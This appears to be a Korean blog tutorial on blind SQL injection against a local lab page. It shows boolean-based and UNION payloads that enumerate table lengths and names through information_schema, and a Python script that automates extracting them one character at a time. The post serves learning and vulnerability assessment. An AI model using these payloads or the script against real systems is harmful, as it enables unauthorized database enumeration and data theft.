DoR@Hee의 끄적끄적
Blind Sql Injection - 테이블 길이, 이름 가져오기 본문
0-0 사전준비, DB길이, DB이름 가져오기 : https://dorahee.tistory.com/108?category=735413
0-1 테이블 길이 가져오기
일단 DB에 존재하는 테이블을 길이 알아내기 위해서
length((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1)) = 1
쿼리를 입력한다 위 와 같이 쿼리가 들어갈 경우 php에서는
"SELECT * FROM sql_injection WHERE no = 1 and length((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1))=1"; 들어가게 된다.
거짓일 경우
참일 경우
mysql에서 확인 해본 경우 limit 구문에 의해서 첫번째 테이블에 길이는 13자리
limit 구문을 이용해서 원하는 테이블에 길이를 가져올 수도 있다.
1-2 테이블 이름 가져오기
DB에 길이를 알아 냈으니 DB에 이름을 알아내도록 한다.
쿼리는 테이블 길이를 알아내는 쿼리와 거의 비슷하다.
and ascii(substr((select table_name from information_schema.tables where table_schema = 'blind_db' limit 0,1),1,1))=115
php에 쿼리가 들어가게 되면은
"SELECT * FROM sql_injection WHERE no = 1and ascii(substr((select table_name from information_schema.tables where table_schema = 'blid_db' limit 0,1),1,1))=115
참 ascii 코드표로 115(b)인걸 확인 할 수 있다.
mysql 에서 쿼리를 확인 했을 때 값이 나오는것을 확인 할 수 있다.
1-3 union을 이용 테이블 이름 가져오기
일단 union문을 이용해서 칼럼의 갯수를 알아 낸다.
※ union문은 2개 이상의 결과값을 도출할 때 사용하는 구문이다. 근데 여기서 union문의 특징이 칼럼의 갯수가 같아야 되는데
만약 칼럼의 갯수가 다를 경우 에러를 발생한다.
참일 경우
거짓일 경우 칼럼의 갯수가 다르기 때문에 에러가 발생하는것을 알 수 있다.
mysql 에서 union문을 확인 할 경우 위와 같이 결과가 나온다.
"UNION select TABLE_NAME,1,1,1 from information_schema.tables WHERE TABLE_SCHEMA='blind_db' limit 1,1"을
이용해서 table이름을 가져온다.
mysql에서 limit구문 없이 쿼리를 실행해보면 db에 따른 테이블이 union 구문에 의하여 출력되는것을 확인 할 수 있다.
1-4 테이블 길이 및 이름가져오기
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests def table_name(): for i in range(1, length + 1): for j in range(33, 127): result = "" url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema%20=%20%27blind_db%27%20limit%20{0},1),{1},1))={2}".format(table_ea,i, j) res = requests.get(url) if "email: a@" in res.text: print("{0}".format(chr(j)), end='') result += str(chr(j)) break print("\n") for table in range(0, 5): for lengths in range(1, 30): length = 0 url = "http://localhost/index_ok.php?no=1%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema%20=%20%27blind_db%27%20limit%20{0},1))%20=%20{1}".format(table, lengths) res = requests.get(url) if "email: a@" in res.text: print("=====================================") print("{0}번째 테이블 길이는{1}".format(table, lengths)) print("=====================================\n") length = lengths table_ea = table table_name() else: continue | cs |
'취약점 진단 > WEB' 카테고리의 다른 글
mysql - information_schema (0) | 2019.03.26 |
---|---|
Blind Sql Injection -값 길이, 값 가져오기 (0) | 2019.03.25 |
Blind Sql Injection - 칼럼 길이, 이름 가져오기 (0) | 2019.03.18 |
Blind Sql Injection - 데이터베이스 이름 가져오기 (2) | 2019.03.18 |
JSP 취약점 분석 - SQL injection (PreparedStatement) (0) | 2019.02.01 |